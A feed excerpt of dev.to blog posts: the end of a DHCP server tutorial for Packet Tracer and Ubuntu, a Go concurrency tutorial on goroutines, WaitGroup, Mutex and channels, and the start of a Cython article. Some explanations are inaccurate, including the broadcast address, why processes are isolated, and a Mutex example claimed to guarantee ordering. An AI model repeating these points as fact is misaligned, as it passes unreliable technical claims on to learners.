&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;N = 2^(32-24) - 2
N = 2^8 - 2
N = 256 - 2
N = 254
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Therefore, the possible IP addresses in this network range are.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;192.198.0.1
192.198.0.2
192.198.0.3
...
192.198.0.254.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this, we will know that this server with these settings can configure up to 253 machines. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"But why 253 if there are 254 available addresses?" &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We cannot forget that the server itself consumes one of the available addresses, leaving 253 other addresses for other hosts.&lt;/p&gt;

&lt;p&gt;Therefore, our initial address will be '192.168.0.2' and our maximum number of users is: 253.&lt;/p&gt;

&lt;p&gt;Then simply activate the server by selecting the 'On' option.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Point of attention:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In this network range, there are two other reserved IP addresses, they are:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;192.168.0.0&lt;/strong&gt; which represents the IP address of the network itself&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;192.168.0.255&lt;/strong&gt; which is the reserved address in case the network needs to communicate with another network, in other words, the &lt;strong&gt;broadcast&lt;/strong&gt; IP address.&lt;/p&gt;

&lt;p&gt;With these settings done, we can access our 'PC-PT-PC0' machine again and verify our IP address.&lt;/p&gt;

&lt;h3&gt;
  
  
  Checking &lt;em&gt;PCO&lt;/em&gt; configurations.
&lt;/h3&gt;

&lt;p&gt;With this, just access the other machines and activate the 'DHCP' option in the same way it was activated on the first machine, and the other hosts will automatically receive their IP address, sub-net mask, sub network mask, and other configuration parameters.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1mx7fsnlv8z7iytouu66.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1mx7fsnlv8z7iytouu66.png" alt="New host configurations" width="800" height="801"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"But shahahaco, how could I set up a real DHCP server?"&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Creating our own DHCP server.
&lt;/h2&gt;

&lt;p&gt;I will assume that you have a virtualizer on your machine, such as &lt;em&gt;Proxmox&lt;/em&gt;, &lt;em&gt;VirtualBox&lt;/em&gt;, &lt;em&gt;Vmware&lt;/em&gt;, &lt;em&gt;Nutanix&lt;/em&gt;, or any other.&lt;/p&gt;

&lt;p&gt;We will perform a real configuration on an Ubuntu Server virtualized by &lt;strong&gt;VirtualBox&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;To start, we will install the package responsible for the protocol.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt upgrade
sudo apt install isc-dhcp-server
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  My network interfaces.
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Facip1edrj93vejbsvt19.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Facip1edrj93vejbsvt19.png" alt="isc-dhcp-server" width="800" height="627"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After the installation, we will define which network interface to use.&lt;/p&gt;

&lt;p&gt;We will check our interfaces using the command "ifconfig".&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsb6conujwhq2u0y0oar2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsb6conujwhq2u0y0oar2.png" alt="ifconfig" width="787" height="324"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; If this package is not present on your machine, execute the command &lt;code&gt;sudo apt-get install net-tools&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;As you can see below, my Ubuntu Server has two network interfaces:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;lo&lt;/strong&gt;: &lt;em&gt;Loopback&lt;/em&gt;, it is a virtual network interface for internal server operations. It enables processes to communicate with each other within the virtual environment.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;enp0s3&lt;/strong&gt;: It is a network interface associated with VirtualBox, meaning it is through this interface that the virtual machine can access the internet provided by the host machine. This strange name comes from a convention that created a nomenclature for network interfaces called &lt;strong&gt;Predictable Network Interface Names&lt;/strong&gt;, where:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;en&lt;/strong&gt;: Represents an Ethernet interface.&lt;br&gt;
&lt;strong&gt;p0&lt;/strong&gt;: Represents the position of the server in the network bus topology or &lt;strong&gt;PCI&lt;/strong&gt; (Peripheral Component Interconnect).&lt;br&gt;
&lt;strong&gt;s3&lt;/strong&gt;: Irrelevant in this context.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Starting to configure our server.
&lt;/h3&gt;

&lt;p&gt;As you may have already noticed, we will use the interface &lt;strong&gt;enp0s3&lt;/strong&gt; for our DHCP server.&lt;/p&gt;

&lt;p&gt;To do this, we will navigate to our configuration file.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;vim /etc/default/isc-dhcp-server&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd0qjomhfn7tsjpyhvihh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd0qjomhfn7tsjpyhvihh.png" alt="DHCP server file" width="794" height="615"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; If you don't have Vim installed, you can use any other text editor such as Vi, Nano, Xed...&lt;/p&gt;

&lt;p&gt;With this, we will delete the variables 'INTERFACESv4' and 'INTERFACESv6' as we do not want to manipulate any specific IPv4 or IPv6 protocol, and we will only add our previously listed interface.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; To install Vim, simply execute &lt;code&gt;sudo apt-get install vim&lt;/code&gt;. After opening the file, press the 'i' key to enter interactive mode, and after making the necessary changes, press the 'esc' key, followed by &lt;code&gt;:wq!&lt;/code&gt; to close the document while saving the changes. Afterward, you can execute &lt;code&gt;cat /etc/default/isc-dhcp-server&lt;/code&gt; to verify the changes in the document.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flcjrhva5ifq9o63olbxr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flcjrhva5ifq9o63olbxr.png" alt="Reading the changed file" width="789" height="593"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For better understanding, we will create our DHCP configuration file from scratch. To do this, we will navigate to the directory '/etc/dhcp' and remove the default configuration file and create a new one using the command &lt;code&gt;rm dhcpd.conf &amp;amp;&amp;amp; vim dhcpd.conf&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcyw0ldyzoktx843ink8d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcyw0ldyzoktx843ink8d.png" alt="New DHCP configuration file" width="785" height="598"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Notice that the configuration parameters are the same as those used in Packet Trace, for example:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Network IP: 192.168.0.0&lt;br&gt;
Server IP: 192.168.0.1&lt;br&gt;
Network Range: 192.168.0.1 - 192.168.0.245&lt;br&gt;
DNS: 192.168.0.1 + Google DNS&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We didn't cover the other parameters in Packet Trace, but we have the indicated log level, the hierarchical level on our server, where 'authoritative' designates it as the ultimate authority, and the allowed request times.&lt;/p&gt;

&lt;p&gt;It is a fundamental characteristic of the protocol in question to rotate IP addresses among connected hosts. However, in some cases, it is possible to assign a fixed IP address to a host that will not be rotated. To configure it this way, simply follow the syntax.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;host hostname {
    hardware mac address
    fixed-address desired ip
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;According to the figure below,&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1xejhqwnjv20h3tmcytn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1xejhqwnjv20h3tmcytn.png" alt="Fixed ipaddress" width="788" height="610"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With this, our DHCP server has been configured, and you simply need to restart our service with the command:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;systemctl restart isc-dhcp-server&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;to apply our changes.&lt;/p&gt;

&lt;p&gt;Configuration requests from machines connected to the network can be checked in the 'syslog' file accessed at /var/log/syslog.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion.
&lt;/h2&gt;

&lt;p&gt;We have practically and thoroughly discussed the configuration of a DHCP server in a virtualized environment, using Ubuntu Server and VirtualBox as examples. We have explored the fundamental concepts of the DHCP protocol, from identifying network interfaces to configuring essential parameters such as IP addresses, network ranges, and DNS servers. Additionally, we have emphasized the importance of DHCP in efficiently managing IP addresses in local networks, simplifying the process of automatically assigning network configurations to connected devices. Hope this guide has been helpful in understanding and implementing DHCP in your own network environments. Keep exploring and experimenting to enhance your network administration skills!&lt;/p&gt;

</description>
      <category>linux</category>
      <category>dhcp</category>
      <category>network</category>
    </item>
    <item>
      <title>Concurrency in golang with goroutines, threads and process.</title>
      <dc:creator>Alisson</dc:creator>
      <pubDate>Sat, 30 Dec 2023 18:28:00 +0000</pubDate>
      <link>https://dev.to/shahahaco/concurrency-in-golang-with-goroutines-threads-and-process-4476</link>
      <guid>https://dev.to/shahahaco/concurrency-in-golang-with-goroutines-threads-and-process-4476</guid>
      <description>&lt;p&gt;Hi guys, hope that everyone is fine, today we will talk about concurrency in Golang, we will see how the language deal with this type of process, with the goroutines, what the difference between threads and goroutines and more.&lt;/p&gt;

&lt;p&gt;First we need to look back and review the concepts of process and threads to understand what is a goroutine. So let's go end the cheap chat and start this. &lt;/p&gt;

&lt;h3&gt;
  
  
  Process
&lt;/h3&gt;

&lt;p&gt;A process is any instance of a computer program's execution. It is within the process that resources are allocated and managed by the operating system. Imagine that you open a program like Vscode, this program will consume memory resources and CPU time, will receive a process identifier (PID), and will be executed on your machine. To see some process in your machine, just type this command &lt;code&gt;htop&lt;/code&gt; in your terminal.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F32ji1w84iuzej0hxnl13.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F32ji1w84iuzej0hxnl13.png" alt="Top process" width="800" height="318"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Thread
&lt;/h3&gt;

&lt;p&gt;A thread can be conceptualized as a sequence of small, executable steps within a process, allowing us to examine the process in finer detail. Unlike processes, which typically do not share resources with others unless specific mechanisms like sockets, IPC (Inter-Process Communication), or pipes are employed, threads within the same process inherently share resources. Each thread has its own thread of execution, but they collectively utilize the same memory and resources allocated to their parent process. This architecture facilitates efficient resource management and execution performance, as threads operate under a shared environment without compromising the organization and efficiency of the overall process.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why process don't share resources and threads do?
&lt;/h3&gt;

&lt;p&gt;Among the various reasons for not deliberately sharing resources between processes naturally, the most common and frequently encountered in the past was the writing of data from one process into the memory of another, leading to the loss of information. Imagine you are working in your favorite IDE, creating an endpoint in C, and you pause to respond to an email. When you save and send that email, the email client process writes data into the memory space allocated for your IDE, and your endpoint turns into an email message confirming a meeting, or even worse, causes a memory overflow resulting in a Buffer Overflow in the process. This can lead to the process being unexpectedly terminated.&lt;/p&gt;

&lt;h3&gt;
  
  
  Concurrency
&lt;/h3&gt;

&lt;p&gt;Concurrency is the ability of a computer to execute multiple processes simultaneously, but not at the exact same moment. When using various processes of a computer, it's common to get the impression that it is executing everything like movies, audio, images, or texts all at the same time, but this is not what actually happens. To handle multiple processes, most machines use some form of concurrency technique, which involves interleaving execution. In this way, a computer deals with a queue composed of fragments from various different processes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Goroutines: How Go Handles Concurrency
&lt;/h3&gt;

&lt;p&gt;Initially, a goroutine is similar in concept to a thread, meaning it's a segment of a process that is being executed. However, goroutines stand out due to some key characteristics.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Small initial size: 2Kb-4Kb, unlike a thread which typically starts with 2Mb.&lt;/li&gt;
&lt;li&gt;Dynamic size variation: when a goroutine exceeds its initial size, its data is allocated to another, larger goroutine.&lt;/li&gt;
&lt;li&gt;Segmented memory allocation: In cases where a goroutine requires significantly more space than usual, the runtime can allocate sections of these goroutines into other, discontinuous empty memory spaces. This ensures rapid memory allocation and avoids overloading the system&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; Runtime refers to some grouped functionalities that manage functions such as garbage collector, goroutines scheduler, panic error handling and other low-level system functions.&lt;/p&gt;

&lt;h3&gt;
  
  
  Creating a goroutine
&lt;/h3&gt;

&lt;p&gt;Let's start by creating our file main.go and create a function named &lt;em&gt;printMessage&lt;/em&gt;, which takes an argument and prints it. We will call this function inside the main function with the 'go' keyword preceding it and pass the element of an iteration as an argument. The &lt;strong&gt;go&lt;/strong&gt; keyword indicates that the function will be executed asynchronously, meaning a goroutine will be created for it, and the function will run in the background. By using the command 'go run main.go', we can see the result in the terminal below.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package main

import (
    "fmt"
    "strconv"
)

func main(){
    for i :=0; i&amp;lt;50; i++{
        go printMessage(strconv.Itoa(i));
    }
}

func printMessage(i string){
    fmt.Println(i)
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6712apjdo3zuvxikzyk5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6712apjdo3zuvxikzyk5.png" alt="Basic goroutine" width="800" height="288"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So nothing new so far, but when we add a normal print below the &lt;em&gt;printMessage&lt;/em&gt; function and changes the numbers of iterations to 10, we will have another result when running the program again.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7i9l213hrxuta9251lw5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7i9l213hrxuta9251lw5.png" alt="Async process" width="800" height="187"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As we can see, only the print statement outside of the &lt;em&gt;printMessage&lt;/em&gt; function was called. This happens because when the task is sent to the background, the rest of the code in the main function continues to execute synchronously. This means that the regular print statements are executed quickly. Once the execution of the synchronous prints is complete, the main function ends, and any processes that were running in the background are also terminated, even if they are still in a queue waiting for execution.&lt;/p&gt;

&lt;p&gt;As we have seen, it is essential that the runtime waits for the execution of goroutines before terminating the program. To achieve this, we need to signal this necessity. We import the &lt;em&gt;sync&lt;/em&gt; module and will use the &lt;em&gt;WaitGroup&lt;/em&gt; class. This class allows us to create a kind of management order, in which we can request to wait for the program to terminate while there is any element being executed. To do this, we will perform operations of adding and removing elements.&lt;/p&gt;

&lt;p&gt;Initially, we will create a variable in the scope of the main function to hold the &lt;em&gt;WaitGroup&lt;/em&gt; class. Then, we will add each element of the iteration to a waiting list. After the element is printed, we will remove this item from our list. When all elements have been printed and the list is empty, our program will terminate. At the end of the main function, we will use the Wait method, which indicates that the runtime should wait for the task list to be completed before terminating the program execution.&lt;/p&gt;

&lt;p&gt;Our resulting code would look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package main

import (
    "fmt"
    "strconv"
    "sync"
)


func main() {
    var wg sync.WaitGroup

    for i := 0; i &amp;lt; 10; i++ {
        wg.Add(1)
        go printMessage(strconv.Itoa(i), &amp;amp;wg)
        fmt.Println("Here another number: ", i)
    }

    wg.Wait()
}

func printMessage(i string, wg *sync.WaitGroup) {
    fmt.Println(i)
    defer wg.Done()
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When executing the code again with our command "run go main.go" we see that all items in the iteration were executed within the &lt;em&gt;printMessage&lt;/em&gt; function and in the common &lt;em&gt;println&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frd462dm0vq2lx6bppnzm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frd462dm0vq2lx6bppnzm.png" alt="Waiting Group" width="800" height="407"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When we observe the result, despite the function and &lt;em&gt;println&lt;/em&gt; being called, we can see that there is some disorganization in the printouts when it comes to the order of the asynchronous object. This occurs because there is a competition for resource consumption, and a goroutine can be called and finished in the midst of another. To avoid this problem, we use a lock on that memory resource and release it with an unlock when it is finished.&lt;/p&gt;

&lt;p&gt;To block and release access to the resource, we will also use the sync package but will use the &lt;strong&gt;Mutex&lt;/strong&gt; class.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; Mutex (Mutual Exclusion) guarantees that only one goroutine can access that resource at a time.&lt;/p&gt;

&lt;p&gt;We will use a code similar to our first one, but it will only perform a '+1' addition in each iteration. Before passing the argument, we will &lt;strong&gt;lock the memory access&lt;/strong&gt; so that only the goroutine in question can access that resource. After accessing the resource and performing the sum, we will release the access so that the next goroutines can access it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package main

import (
    "fmt"
    "sync"
    "time"
)

func main(){
    var mu sync.Mutex
    i :=0
    for x:=0; x&amp;lt;100; x++{
        mu.Lock()
        i = x
        go sumNumber(i)
        mu.Unlock()
    }
    time.Sleep(time.Second*2)
    fmt.Println(i)
}

func sumNumber(i int){
    i++
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgtf3tzyp1r8gxw8rczhf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgtf3tzyp1r8gxw8rczhf.png" alt="Mutex operation" width="800" height="181"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;According to the image above, we can see that the result is always the largest object of the iteration, indicating that it occurred in an ordered manner regardless of how many times the main function is called. This ensures that the goroutines occur in a predictable and safe way.&lt;/p&gt;

&lt;p&gt;However, there is a downside to using this type of mechanism. For example, just as multi-threaded systems were developed to increase execution speed, goroutines also aim to execute different parts of a code concurrently. By limiting execution to one at a time, the results obtained from the bus of multiple simultaneous threads can sometimes become quite slow. &lt;/p&gt;

&lt;p&gt;There are other factors that directly affect the performance of a process:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Each Lock/Unlock operation requires communication from the CPU with the machine's OS.&lt;/li&gt;
&lt;li&gt;Risk of one or more threads being idle, waiting for the execution of another indefinitely (DEADLOCKS).&lt;/li&gt;
&lt;li&gt;Managing the access of threads and goroutines simultaneously for a long time (remember that threads by default share the same resources?)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Therefore, the manual control of goroutines using Mutex must be done with great care where the load at that point in the application should be considered, as well as whether the order of execution really matters more than the speed of execution.&lt;/p&gt;

&lt;h3&gt;
  
  
  Channels
&lt;/h3&gt;

&lt;p&gt;Although it is possible to manipulate memory access and perform wait calls, there is a simpler way to use data from a goroutine through channels. Channels are tunneling data structures where data from one goroutine can be sent to others. Through this structure we can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Define the data type of the channel&lt;/li&gt;
&lt;li&gt;Use FIFO to ensure data ordering&lt;/li&gt;
&lt;li&gt;Have unidirectional (Read or Write) or bidirectional (Read and Write) channels&lt;/li&gt;
&lt;li&gt;Perform blocking operations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To create a channel, we will initialize it as empty with the type int using the &lt;strong&gt;make&lt;/strong&gt; command. With that, we will create a function named &lt;strong&gt;createList&lt;/strong&gt; which will receive the channel as an argument and write 10 integer numbers into it obtained through a simple iteration, and then we will close it using the &lt;strong&gt;close&lt;/strong&gt; method.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; If the channel is not closed, there will be a fatal error of deadlock.&lt;/p&gt;

&lt;p&gt;With our channel filled, we will use it for reading in a simple iteration within the main function.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package main

import (
    "fmt"
)

func main(){
    channel := make(chan int)
    go createList(channel)

    for x := range(channel){
        fmt.Println(x)
    }
}

func createList(channel chan int){
    for i :=0; i&amp;lt;100; i++{
        channel &amp;lt;-i
    }
    close(channel)
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After use &lt;code&gt;go run main.go&lt;/code&gt; we have this result:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdckr0k6xhemj59c3r3l5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdckr0k6xhemj59c3r3l5.png" alt="Channels" width="762" height="237"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By default, a channel receives one data at a time, that is, a goroutine can send one data at a time to another goroutine, the second one must receive the data before the first goroutine sends another data.&lt;/p&gt;

&lt;p&gt;Let's just add a println on line 12 and 19 and we will see the following sequence.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy144r3scamquf7n2sp53.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy144r3scamquf7n2sp53.png" alt="Received and sending data" width="800" height="415"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the previous example we used an &lt;em&gt;unbuffered&lt;/em&gt; channel, however we can define "data packets" to be sent at once through the buffering process. &lt;/p&gt;

&lt;p&gt;To do that we need only set the size of our channel in the &lt;strong&gt;make&lt;/strong&gt; method like this &lt;code&gt;channel := make(chan int, 2)&lt;/code&gt; and running your code again we have the following result.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqebegfv8s98vhcla6oys.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqebegfv8s98vhcla6oys.png" alt="Buffered channel" width="800" height="328"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This way we are able to send data packets of different sizes between our goroutines.&lt;/p&gt;

&lt;p&gt;This was a brief tutorial to help us understand a little how goroutines work in Golang and review some essential computing concepts. If you have any questions, feel free to comment below =D.&lt;/p&gt;

</description>
      <category>go</category>
      <category>learning</category>
      <category>computerscience</category>
    </item>
    <item>
      <title>Tuning your Python applications with Cython</title>
      <dc:creator>Alisson</dc:creator>
      <pubDate>Sat, 16 Dec 2023 21:55:42 +0000</pubDate>
      <link>https://dev.to/shahahaco/tuning-your-python-applications-with-cython-3p0i</link>
      <guid>https://dev.to/shahahaco/tuning-your-python-applications-with-cython-3p0i</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Python is a high-level interpreted and multi-purpose language created in 1991. The standard and most common version of its implementation was written in the C language and is known as CPython.&lt;/p&gt;

